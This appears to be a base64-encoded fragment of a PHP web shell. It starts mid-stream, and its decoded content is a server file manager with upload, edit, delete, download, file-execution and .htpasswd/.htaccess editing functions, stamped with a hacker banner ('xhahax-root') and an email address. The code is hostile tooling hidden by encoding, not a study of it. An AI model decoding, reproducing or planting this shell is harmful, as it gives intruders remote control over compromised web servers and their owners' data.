KSwgJGRlbGltKSArIDEpOw0KCQl9DQoJfQ0KCWlmICgkcGF0aCA9PSAnJykgJHBhdGggPSAnLic7 DQoNCglyZXR1cm4gJHBhdGg7DQoNCn0NCg0KZnVuY3Rpb24gc2ltcGxpZnlfcGF0aCAoJHBhdGgp IHsNCglnbG9iYWwgJGRlbGltOw0KDQoJaWYgKEBmaWxlX2V4aXN0cygkcGF0aCkgJiYgZnVuY3Rp b25fZXhpc3RzKCdyZWFscGF0aCcpICYmIEByZWFscGF0aCgkcGF0aCkgIT0gJycpIHsNCgkJJHBh dGggPSByZWFscGF0aCgkcGF0aCk7DQoJCWlmIChAaXNfZGlyKCRwYXRoKSkgew0KCQkJcmV0dXJu IGFkZHNsYXNoKCRwYXRoKTsNCgkJfSBlbHNlIHsNCgkJCXJldHVybiAkcGF0aDsNCgkJfQ0KCX0N Cg0KCSRwYXR0ZXJuICA9ICRkZWxpbSAuICcuJyAuICRkZWxpbTsNCg0KCWlmIChAaXNfZGlyKCRw YXRoKSkgew0KCQkkcGF0aCA9IGFkZHNsYXNoKCRwYXRoKTsNCgl9DQoNCgl3aGlsZSAoc3RycG9z KCRwYXRoLCAkcGF0dGVybikgIT09IGZhbHNlKSB7DQoJCSRwYXRoID0gc3RyX3JlcGxhY2UoJHBh dHRlcm4sICRkZWxpbSwgJHBhdGgpOw0KCX0NCg0KCSRlID0gYWRkc2xhc2hlcygkZGVsaW0pOw0K CSRyZWdleCA9ICRlIC4gJygoXC5bXlwuJyAuICRlIC4gJ11bXicgLiAkZSAuICddKil8KFwuXC5b XicgLiAkZSAuICddKyl8KFteXC5dW14nIC4gJGUgLiAnXSopKScgLiAkZSAuICdcLlwuJyAuICRl Ow0KDQoJd2hpbGUgKGVyZWcoJHJlZ2V4LCAkcGF0aCkpIHsNCgkJJHBhdGggPSBlcmVnX3JlcGxh Y2UoJHJlZ2V4LCAkZGVsaW0sICRwYXRoKTsNCgl9DQoJDQoJcmV0dXJuICRwYXRoOw0KDQp9DQoN CmZ1bmN0aW9uIGh1bWFuX2ZpbGVzaXplICgkZmlsZXNpemUpIHsNCg0KCSRzdWZmaWNlcyA9ICdr TUdUUEUnOw0KDQoJJG4gPSAwOw0KCXdoaWxlICgkZmlsZXNpemUgPj0gMTAwMCkgew0KCQkkZmls ZXNpemUgLz0gMTAyNDsNCgkJJG4rKzsNCgl9DQoNCgkkZmlsZXNpemUgPSByb3VuZCgkZmlsZXNp emUsIDMgLSBzdHJwb3MoJGZpbGVzaXplLCAnLicpKTsNCg0KCWlmIChzdHJwb3MoJGZpbGVzaXpl LCAnLicpICE9PSBmYWxzZSkgew0KCQl3aGlsZSAoaW5fYXJyYXkoc3Vic3RyKCRmaWxlc2l6ZSwg LTEsIDEpLCBhcnJheSgnMCcsICcuJykpKSB7DQoJCQkkZmlsZXNpemUgPSBzdWJzdHIoJGZpbGVz aXplLCAwLCBzdHJsZW4oJGZpbGVzaXplKSAtIDEpOw0KCQl9DQoJfQ0KDQoJJHN1ZmZpeCA9ICgo JG4gPT0gMCkgPyAnJyA6IHN1YnN0cigkc3VmZmljZXMsICRuIC0gMSwgMSkpOw0KDQoJcmV0dXJu ICRmaWxlc2l6ZSAuICIgeyRzdWZmaXh9QiI7DQoNCn0NCg0KZnVuY3Rpb24gc3RyaXAgKCYkc3Ry KSB7DQoJJHN0ciA9IHN0cmlwc2xhc2hlcygkc3RyKTsNCn0NCg0KLyogLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LSAqLw0KDQpmdW5jdGlvbiBsaXN0aW5nX3BhZ2UgKCRtZXNzYWdlID0gbnVsbCkgew0KCWdsb2Jh bCAkc2VsZiwgJGRpcmVjdG9yeSwgJHNvcnQsICRyZXZlcnNlOw0KDQoJaHRtbF9oZWFkZXIoKTsN Cg0KCSRsaXN0ID0gZ2V0bGlzdCgkZGlyZWN0b3J5KTsNCg0KCWlmIChhcnJheV9rZXlfZXhpc3Rz KCdzb3J0JywgJF9HRVQpKSAkc29ydCA9ICRfR0VUWydzb3J0J107IGVsc2UgJHNvcnQgPSAnZmls ZW5hbWUnOw0KCWlmIChhcnJheV9rZXlfZXhpc3RzKCdyZXZlcnNlJywgJF9HRVQpICYmICRfR0VU WydyZXZlcnNlJ10gPT0gJ3RydWUnKSAkcmV2ZXJzZSA9IHRydWU7IGVsc2UgJHJldmVyc2UgPSBm YWxzZTsNCg0KCXNvcnRsaXN0KCRsaXN0LCAkc29ydCwgJHJldmVyc2UpOw0KDQoJZWNobyAnPGI+ PHU+eGhhaGF4LXJvb3QgPD4geDdfODgoYXQpaG90bWFpbChkb3QpY29tPC91PjwvYj48L2gxPg0K DQo8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IicgLiAkc2VsZiAu ICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBpZD0ibWFpbiI+DQonOw0KDQoJZGlyZWN0b3J5 X2Nob2ljZSgpOw0KDQoJaWYgKCFlbXB0eSgkbWVzc2FnZSkpIHsNCgkJc3BhY2VyKCk7DQoJCWVj aG8gJG1lc3NhZ2U7DQoJfQ0KDQoJaWYgKEBpc193cml0YWJsZSgkZGlyZWN0b3J5KSkgew0KCQl1 cGxvYWRfYm94KCk7DQoJCWNyZWF0ZV9ib3goKTsNCgl9IGVsc2Ugew0KCQlzcGFjZXIoKTsNCgl9 DQoNCglpZiAoJGxpc3QpIHsNCgkJbGlzdGluZygkbGlzdCk7DQoJfSBlbHNlIHsNCgkJZWNobyBl cnJvcignbm90X3JlYWRhYmxlJywgJGRpcmVjdG9yeSk7DQoJfQ0KDQoJZWNobyAnPC90YWJsZT4N Cg0KPC9mb3JtPg0KDQonOw0KDQoJaHRtbF9mb290ZXIoKTsNCg0KfQ0KDQpmdW5jdGlvbiBsaXN0 aW5nICgkbGlzdCkgew0KCWdsb2JhbCAkZGlyZWN0b3J5LCAkaG9tZWRpciwgJHNvcnQsICRyZXZl cnNlLCAkd2luLCAkY29scywgJGRhdGVfZm9ybWF0LCAkc2VsZjsNCg0KCWVjaG8gJzx0ciBjbGFz cz0ibGlzdGluZyI+DQoJPHRoIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IHZlcnRpY2FsLWFs aWduOiBtaWRkbGUiPjxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPXNtaWxleSIgYWx0PSJz bWlsZXkiIC8+PC90aD4NCic7DQoNCgkkZCA9ICdkaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5 KSAuICcmYW1wOyc7DQoNCglpZiAoISRyZXZlcnNlICYmICRzb3J0ID09ICdmaWxlbmFtZScpICRy ID0gJyZhbXA7cmV2ZXJzZT10cnVlJzsgZWxzZSAkciA9ICcnOw0KCWVjaG8gIlx0PHRoIGNsYXNz PVwiZmlsZW5hbWVcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9ZmlsZW5hbWUkclwiPiIgLiB3 b3JkKCdmaWxlbmFtZScpIC4gIjwvYT48L3RoPlxuIjsNCg0KCWlmICghJHJldmVyc2UgJiYgJHNv cnQgPT0gJ3NpemUnKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsNCgll Y2hvICJcdDx0aCBjbGFzcz1cInNpemVcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9c2l6ZSRy XCI+IiAuIHdvcmQoJ3NpemUnKSAuICI8L2E+PC90aD5cbiI7DQoNCglpZiAoISR3aW4pIHsNCg0K CQlpZiAoISRyZXZlcnNlICYmICRzb3J0ID09ICdwZXJtaXNzaW9uJykgJHIgPSAnJmFtcDtyZXZl cnNlPXRydWUnOyBlbHNlICRyID0gJyc7DQoJCWVjaG8gIlx0PHRoIGNsYXNzPVwicGVybWlzc2lv bl9oZWFkZXJcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9cGVybWlzc2lvbiRyXCI+IiAuIHdv cmQoJ3Blcm1pc3Npb24nKSAuICI8L2E+PC90aD5cbiI7DQoNCgkJaWYgKCEkcmV2ZXJzZSAmJiAk c29ydCA9PSAnb3duZXInKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsN CgkJZWNobyAiXHQ8dGggY2xhc3M9XCJvd25lclwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD1v d25lciRyXCI+IiAuIHdvcmQoJ293bmVyJykgLiAiPC9hPjwvdGg+XG4iOw0KDQoJCWlmICghJHJl dmVyc2UgJiYgJHNvcnQgPT0gJ2dyb3VwJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNl ICRyID0gJyc7DQoJCWVjaG8gIlx0PHRoIGNsYXNzPVwiZ3JvdXBcIj48YSBocmVmPVwiJHNlbGY/ eyRkfXNvcnQ9Z3JvdXAkclwiPiIgLiB3b3JkKCdncm91cCcpIC4gIjwvYT48L3RoPlxuIjsNCg0K CX0NCg0KCWVjaG8gJwk8dGggY2xhc3M9ImZ1bmN0aW9ucyI+JyAuIHdvcmQgKCdmdW5jdGlvbnMn KSAgLiAnPC90aD4NCjwvdHI+DQonOw0KDQoJZm9yICgkaSA9IDA7ICRpIDwgc2l6ZW9mKCRsaXN0 KTsgJGkrKykgew0KCQkkZmlsZSA9ICRsaXN0WyRpXTsNCg0KCQkkdGltZXN0YW1wcyAgPSAnbXRp bWU6ICcgLiBkYXRlKCRkYXRlX2Zvcm1hdCwgJGZpbGVbJ210aW1lJ10pIC4gJywgJzsNCgkJJHRp bWVzdGFtcHMgLj0gJ2F0aW1lOiAnIC4gZGF0ZSgkZGF0ZV9mb3JtYXQsICRmaWxlWydhdGltZSdd KSAuICcsICc7DQoJCSR0aW1lc3RhbXBzIC49ICdjdGltZTogJyAuIGRhdGUoJGRhdGVfZm9ybWF0 LCAkZmlsZVsnY3RpbWUnXSk7DQoNCgkJZWNobyAnPHRyIGNsYXNzPSJsaXN0aW5nIj4NCgk8dGQg Y2xhc3M9ImNoZWNrYm94Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImNoZWNrZWQnIC4g JGkgLiAnIiB2YWx1ZT0idHJ1ZSIgb25mb2N1cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz48L3Rk Pg0KCTx0ZCBjbGFzcz0iZmlsZW5hbWUiIHRpdGxlPSInIC4gaHRtbCgkdGltZXN0YW1wcykgLiAn Ij4nOw0KDQoJCWlmICgkZmlsZVsnaXNfbGluayddKSB7DQoNCgkJCWVjaG8gJzxpbWcgc3JjPSIn IC4gJHNlbGYgLiAnP2ltYWdlPWxpbmsiIGFsdD0ibGluayIgLz4gJzsNCgkJCWVjaG8gaHRtbCgk ZmlsZVsnZmlsZW5hbWUnXSkgLiAnICZyYXJyOyAnOw0KDQoJCQkkcmVhbF9maWxlID0gcmVsYXRp dmUyYWJzb2x1dGUoJGZpbGVbJ3RhcmdldCddLCAkZGlyZWN0b3J5KTsNCg0KCQkJaWYgKEBpc19y ZWFkYWJsZSgkcmVhbF9maWxlKSkgew0KCQkJCWlmIChAaXNfZGlyKCRyZWFsX2ZpbGUpKSB7DQoJ CQkJCWVjaG8gJ1sgPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkcmVh bF9maWxlKSAuICciPicgLiBodG1sKCRmaWxlWyd0YXJnZXQnXSkgLiAnPC9hPiBdJzsNCgkJCQl9 IGVsc2Ugew0KCQkJCQllY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2FjdGlvbj12aWV3JmFt cDtmaWxlPScgLiB1cmxlbmNvZGUoJHJlYWxfZmlsZSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsndGFy Z2V0J10pIC4gJzwvYT4nOw0KCQkJCX0NCgkJCX0gZWxzZSB7DQoJCQkJZWNobyBodG1sKCRmaWxl Wyd0YXJnZXQnXSk7DQoJCQl9DQoNCgkJfSBlbHNlaWYgKCRmaWxlWydpc19kaXInXSkgew0KDQoJ CQllY2hvICc8aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1mb2xkZXIiIGFsdD0iZm9sZGVy IiAvPiBbICc7DQoJCQlpZiAoJGZpbGVbJ2lzX3JlYWRhYmxlJ10gJiYgJGZpbGVbJ2lzX2V4ZWN1 dGFibGUnXSkgew0KCQkJCWVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxl bmNvZGUoJGZpbGVbJ3BhdGgnXSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSkgLiAn PC9hPic7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSk7DQoJ CQl9DQoJCQllY2hvICcgXSc7DQoNCgkJfSBlbHNlIHsNCg0KCQkJaWYgKHN1YnN0cigkZmlsZVsn ZmlsZW5hbWUnXSwgMCwgMSkgPT0gJy4nKSB7DQoJCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2Vs ZiAuICc/aW1hZ2U9aGlkZGVuX2ZpbGUiIGFsdD0iaGlkZGVuIGZpbGUiIC8+ICc7DQoJCQl9IGVs c2Ugew0KCQkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWZpbGUiIGFsdD0i ZmlsZSIgLz4gJzsNCgkJCX0NCg0KCQkJaWYgKCRmaWxlWydpc19maWxlJ10gJiYgJGZpbGVbJ2lz X3JlYWRhYmxlJ10pIHsNCgkJCSAgIGVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/YWN0aW9u PXZpZXcmYW1wO2ZpbGU9JyAuIHVybGVuY29kZSgkZmlsZVsncGF0aCddKSAuICciPicgLiBodG1s KCRmaWxlWydmaWxlbmFtZSddKSAuICc8L2E+JzsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyBodG1s KCRmaWxlWydmaWxlbmFtZSddKTsNCgkJCX0NCg0KCQl9DQoNCgkJaWYgKCRmaWxlWydzaXplJ10g Pj0gMTAwMCkgew0KCQkJJGh1bWFuID0gJyB0aXRsZT0iJyAuIGh1bWFuX2ZpbGVzaXplKCRmaWxl WydzaXplJ10pIC4gJyInOw0KCQl9IGVsc2Ugew0KCQkJJGh1bWFuID0gJyc7DQoJCX0NCg0KCQll Y2hvICJcdDx0ZCBjbGFzcz1cInNpemVcIiRodW1hbj57JGZpbGVbJ3NpemUnXX0gQjwvdGQ+XG4i Ow0KDQoJCWlmICghJHdpbikgew0KDQoJCQllY2hvICJcdDx0ZCBjbGFzcz1cInBlcm1pc3Npb25c IiB0aXRsZT1cIiIgLiBkZWNvY3QoJGZpbGVbJ3Blcm1pc3Npb24nXSkgLiAnIj4nOw0KDQoJCQkk bCA9ICEkZmlsZVsnaXNfbGluayddICYmICghZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXR1aWQn KSB8fCAkZmlsZVsnb3duZXInXSA9PSBwb3NpeF9nZXR1aWQoKSk7DQoJCQlpZiAoJGwpIGVjaG8g JzxhIGhyZWY9IicgLiAkc2VsZiAuICc/YWN0aW9uPXBlcm1pc3Npb24mYW1wO2ZpbGU9JyAuIHVy bGVuY29kZSgkZmlsZVsncGF0aCddKSAuICcmYW1wO2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3Rv cnkpIC4gJyI+JzsNCgkJCWVjaG8gaHRtbChwZXJtaXNzaW9uX29jdGFsMnN0cmluZygkZmlsZVsn cGVybWlzc2lvbiddKSk7DQoJCQlpZiAoJGwpIGVjaG8gJzwvYT4nOw0KDQoJCQllY2hvICI8L3Rk PlxuIjsNCg0KCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ293bmVyX25hbWUnLCAkZmlsZSkpIHsN CgkJCQllY2hvICJcdDx0ZCBjbGFzcz1cIm93bmVyXCIgdGl0bGU9XCJ1aWQ6IHskZmlsZVsnb3du ZXInXX1cIj57JGZpbGVbJ293bmVyX25hbWUnXX08L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJ ZWNobyAiXHQ8dGQgY2xhc3M9XCJvd25lclwiPnskZmlsZVsnb3duZXInXX08L3RkPlxuIjsNCgkJ CX0NCg0KCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ2dyb3VwX25hbWUnLCAkZmlsZSkpIHsNCgkJ CQllY2hvICJcdDx0ZCBjbGFzcz1cImdyb3VwXCIgdGl0bGU9XCJnaWQ6IHskZmlsZVsnZ3JvdXAn XX1cIj57JGZpbGVbJ2dyb3VwX25hbWUnXX08L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJZWNo byAiXHQ8dGQgY2xhc3M9XCJncm91cFwiPnskZmlsZVsnZ3JvdXAnXX08L3RkPlxuIjsNCgkJCX0N Cg0KCQl9DQoNCgkJZWNobyAnCTx0ZCBjbGFzcz0iZnVuY3Rpb25zIj4NCgkJPGlucHV0IHR5cGU9 ImhpZGRlbiIgbmFtZT0iZmlsZScgLiAkaSAuICciIHZhbHVlPSInIC4gaHRtbCgkZmlsZVsncGF0 aCddKSAuICciIC8+DQonOw0KDQoJCSRhY3Rpb25zID0gYXJyYXkoKTsNCgkJaWYgKGZ1bmN0aW9u X2V4aXN0cygnc3ltbGluaycpKSB7DQoJCQkkYWN0aW9uc1tdID0gJ2NyZWF0ZV9zeW1saW5rJzsN CgkJfQ0KCQlpZiAoQGlzX3dyaXRhYmxlKGRpcm5hbWUoJGZpbGVbJ3BhdGgnXSkpKSB7DQoJCQkk YWN0aW9uc1tdID0gJ2RlbGV0ZSc7DQoJCQkkYWN0aW9uc1tdID0gJ3JlbmFtZSc7DQoJCQkkYWN0 aW9uc1tdID0gJ21vdmUnOw0KCQl9DQoJCWlmICgkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydp c19yZWFkYWJsZSddKSB7DQoJCQkkYWN0aW9uc1tdID0gJ2NvcHknOw0KCQkJJGFjdGlvbnNbXSA9 ICdkb3dubG9hZCc7DQoJCQlpZiAoJGZpbGVbJ2lzX3dyaXRhYmxlJ10pICRhY3Rpb25zW10gPSAn ZWRpdCc7DQoJCX0NCgkJaWYgKCEkd2luICYmIGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpICYmICRm aWxlWydpc19maWxlJ10gJiYgJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSAmJiBmaWxlX2V4aXN0cygn L2Jpbi9zaCcpKSB7DQoJCQkkYWN0aW9uc1tdID0gJ2V4ZWN1dGUnOw0KCQl9DQoNCgkJaWYgKHNp emVvZigkYWN0aW9ucykgPiAwKSB7DQoNCgkJCWVjaG8gJwkJPHNlbGVjdCBjbGFzcz0ic21hbGwi IG5hbWU9ImFjdGlvbicgLiAkaSAuICciIHNpemU9IjEiPg0KCQk8b3B0aW9uIHZhbHVlPSIiPicg LiBzdHJfcmVwZWF0KCcmbmJzcDsnLCAzMCkgLiAnPC9vcHRpb24+DQonOw0KDQoJCQlmb3JlYWNo ICgkYWN0aW9ucyBhcyAkYWN0aW9uKSB7DQoJCQkJZWNobyAiXHRcdDxvcHRpb24gdmFsdWU9XCIk YWN0aW9uXCI+IiAuIHdvcmQoJGFjdGlvbikgLiAiPC9vcHRpb24+XG4iOw0KCQkJfQ0KDQoJCQll Y2hvICcJCTwvc2VsZWN0Pg0KCQk8aW5wdXQgY2xhc3M9InNtYWxsIiB0eXBlPSJzdWJtaXQiIG5h bWU9InN1Ym1pdCcgLiAkaSAuICciIHZhbHVlPSIgJmd0OyAiIG9uZm9jdXM9ImFjdGl2YXRlKFwn b3RoZXJcJykiIC8+DQonOw0KDQoJCX0NCg0KCQllY2hvICcJPC90ZD4NCjwvdHI+DQonOw0KDQoJ fQ0KDQoJZWNobyAnPHRyIGNsYXNzPSJsaXN0aW5nX2Zvb3RlciI+DQoJPHRkIHN0eWxlPSJ0ZXh0 LWFsaWduOiByaWdodDsgdmVydGljYWwtYWxpZ246IHRvcCI+PGltZyBzcmM9IicgLiAkc2VsZiAu ICc/aW1hZ2U9YXJyb3ciIGFsdD0iJmd0OyIgLz48L3RkPg0KCTx0ZCBjb2xzcGFuPSInIC4gKCRj b2xzIC0gMSkgLiAnIj4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibnVtIiB2YWx1ZT0i JyAuIHNpemVvZigkbGlzdCkgLiAnIiAvPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJm b2N1cyIgdmFsdWU9IiIgLz4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib2xkZGlyIiB2 YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPg0KJzsNCg0KCSRhY3Rpb25zID0gYXJy YXkoKTsNCglpZiAoQGlzX3dyaXRhYmxlKGRpcm5hbWUoJGZpbGVbJ3BhdGgnXSkpKSB7DQoJCSRh Y3Rpb25zW10gPSAnZGVsZXRlJzsNCgkJJGFjdGlvbnNbXSA9ICdtb3ZlJzsNCgl9DQoJJGFjdGlv bnNbXSA9ICdjb3B5JzsNCg0KCWVjaG8gJwkJPHNlbGVjdCBjbGFzcz0ic21hbGwiIG5hbWU9ImFj dGlvbl9hbGwiIHNpemU9IjEiPg0KCQk8b3B0aW9uIHZhbHVlPSIiPicgLiBzdHJfcmVwZWF0KCcm bmJzcDsnLCAzMCkgLiAnPC9vcHRpb24+DQonOw0KDQoJZm9yZWFjaCAoJGFjdGlvbnMgYXMgJGFj dGlvbikgew0KCQllY2hvICJcdFx0PG9wdGlvbiB2YWx1ZT1cIiRhY3Rpb25cIj4iIC4gd29yZCgk YWN0aW9uKSAuICI8L29wdGlvbj5cbiI7DQoJfQ0KDQoJZWNobyAnCQk8L3NlbGVjdD4NCgkJPGlu cHV0IGNsYXNzPSJzbWFsbCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRfYWxsIiB2YWx1ZT0i ICZndDsgIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0K JzsNCg0KfQ0KDQpmdW5jdGlvbiBkaXJlY3RvcnlfY2hvaWNlICgpIHsNCglnbG9iYWwgJGRpcmVj dG9yeSwgJGhvbWVkaXIsICRjb2xzLCAkc2VsZjsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29sc3Bh bj0iJyAuICRjb2xzIC4gJyIgaWQ9ImRpcmVjdG9yeSI+DQoJCTxhIGhyZWY9IicgLiAkc2VsZiAu ICc/ZGlyPScgLiB1cmxlbmNvZGUoJGhvbWVkaXIpIC4gJyI+JyAuIHdvcmQoJ2RpcmVjdG9yeScp IC4gJzwvYT46DQoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHNpemU9IicgLiB0ZXh0 ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4g JyIgb25mb2N1cz0iYWN0aXZhdGUoXCdkaXJlY3RvcnlcJykiIC8+DQoJCTxpbnB1dCB0eXBlPSJz dWJtaXQiIG5hbWU9ImNoYW5nZWRpciIgdmFsdWU9IicgLiB3b3JkKCdjaGFuZ2UnKSAuICciIG9u Zm9jdXM9ImFjdGl2YXRlKFwnZGlyZWN0b3J5XCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0KJzsNCg0K fQ0KDQpmdW5jdGlvbiB1cGxvYWRfYm94ICgpIHsNCglnbG9iYWwgJGNvbHM7DQoNCgllY2hvICc8 dHI+DQoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciIGlkPSJ1cGxvYWQiPg0KCQknIC4gd29y ZCgnZmlsZScpIC4gJzoNCgkJPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZCIgb25mb2N1 cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz4NCgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0i c3VibWl0X3VwbG9hZCIgdmFsdWU9IicgLiB3b3JkKCd1cGxvYWQnKSAuICciIG9uZm9jdXM9ImFj dGl2YXRlKFwnb3RoZXJcJykiIC8+DQoJPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9u IGNyZWF0ZV9ib3ggKCkgew0KCWdsb2JhbCAkY29sczsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29s c3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImNyZWF0ZSI+DQoJCTxzZWxlY3QgbmFtZT0iY3JlYXRl X3R5cGUiIHNpemU9IjEiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIj4NCgkJPG9wdGlv biB2YWx1ZT0iZmlsZSI+JyAuIHdvcmQoJ2ZpbGUnKSAuICc8L29wdGlvbj4NCgkJPG9wdGlvbiB2 YWx1ZT0iZGlyZWN0b3J5Ij4nIC4gd29yZCgnZGlyZWN0b3J5JykgLiAnPC9vcHRpb24+DQoJCTwv c2VsZWN0Pg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3JlYXRlX25hbWUiIG9uZm9jdXM9 ImFjdGl2YXRlKFwnY3JlYXRlXCcpIiAvPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJz dWJtaXRfY3JlYXRlIiB2YWx1ZT0iJyAuIHdvcmQoJ2NyZWF0ZScpIC4gJyIgb25mb2N1cz0iYWN0 aXZhdGUoXCdjcmVhdGVcJykiIC8+DQoJPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9u IGVkaXQgKCRmaWxlKSB7DQoJZ2xvYmFsICRzZWxmLCAkZGlyZWN0b3J5LCAkZWRpdGNvbHMsICRl ZGl0cm93cywgJGFwYWNoZSwgJGh0cGFzc3dkLCAkaHRhY2Nlc3M7DQoNCglodG1sX2hlYWRlcigp Ow0KDQoJZWNobyAnPGgyIHN0eWxlPSJtYXJnaW4tYm90dG9tOiAzcHQiPicgLiBodG1sKCRmaWxl KSAuICc8L2gyPg0KDQo8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+ DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCg0K CTx0ZXh0YXJlYSBuYW1lPSJjb250ZW50IiBjb2xzPSInIC4gJGVkaXRjb2xzIC4gJyIgcm93cz0i JyAuICRlZGl0cm93cyAuICciPic7DQoNCglpZiAoYXJyYXlfa2V5X2V4aXN0cygnY29udGVudCcs ICRfUE9TVCkpIHsNCgkJZWNobyAkX1BPU1RbJ2NvbnRlbnQnXTsNCgl9IGVsc2Ugew0KCQkkZiA9 IGZvcGVuKCRmaWxlLCAncicpOw0KCQl3aGlsZSAoIWZlb2YoJGYpKSB7DQoJCQllY2hvIGh0bWwo ZnJlYWQoJGYsIDgxOTIpKTsNCgkJfQ0KCQlmY2xvc2UoJGYpOw0KCX0NCg0KCWlmICghZW1wdHko JF9QT1NUWyd1c2VyJ10pKSB7DQoJCWVjaG8gIlxuIiAuICRfUE9TVFsndXNlciddIC4gJzonIC4g Y3J5cHQoJF9QT1NUWydwYXNzd29yZCddKTsNCgl9DQoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Jhc2lj X2F1dGgnXSkpIHsNCgkJaWYgKCR3aW4pIHsNCgkJCSRhdXRoZmlsZSA9IHN0cl9yZXBsYWNlKCdc XCcsICcvJywgJGRpcmVjdG9yeSkgLiAkaHRwYXNzd2Q7DQoJCX0gZWxzZSB7DQoJCQkkYXV0aGZp bGUgPSAkZGlyZWN0b3J5IC4gJGh0cGFzc3dkOw0KCQl9DQoJCWVjaG8gIlxuQXV0aFR5cGUgQmFz aWNcbkF1dGhOYW1lICZxdW90O1Jlc3RyaWN0ZWQgRGlyZWN0b3J5JnF1b3Q7XG4iOw0KCQllY2hv ICdBdXRoVXNlckZpbGUgJnF1b3Q7JyAuIGh0bWwoJGF1dGhmaWxlKSAuICImcXVvdDtcbiI7DQoJ CWVjaG8gJ1JlcXVpcmUgdmFsaWQtdXNlcic7DQoJfQ0KDQoJZWNobyAnPC90ZXh0YXJlYT4NCg0K CTxociAvPg0KJzsNCg0KCWlmICgkYXBhY2hlICYmIGJhc2VuYW1lKCRmaWxlKSA9PSAkaHRwYXNz d2QpIHsNCgkJZWNobyAnDQoJJyAuIHdvcmQoJ3VzZXInKSAuICc6IDxpbnB1dCB0eXBlPSJ0ZXh0 IiBuYW1lPSJ1c2VyIiAvPg0KCScgLiB3b3JkKCdwYXNzd29yZCcpIC4gJzogPGlucHV0IHR5cGU9 InBhc3N3b3JkIiBuYW1lPSJwYXNzd29yZCIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1 ZT0iJyAuIHdvcmQoJ2FkZCcpIC4gJyIgLz4NCg0KCTxociAvPg0KJzsNCg0KCX0NCg0KCWlmICgk YXBhY2hlICYmIGJhc2VuYW1lKCRmaWxlKSA9PSAkaHRhY2Nlc3MpIHsNCgkJZWNobyAnDQoJPGlu cHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmFzaWNfYXV0aCIgdmFsdWU9IicgLiB3b3JkKCdhZGRf 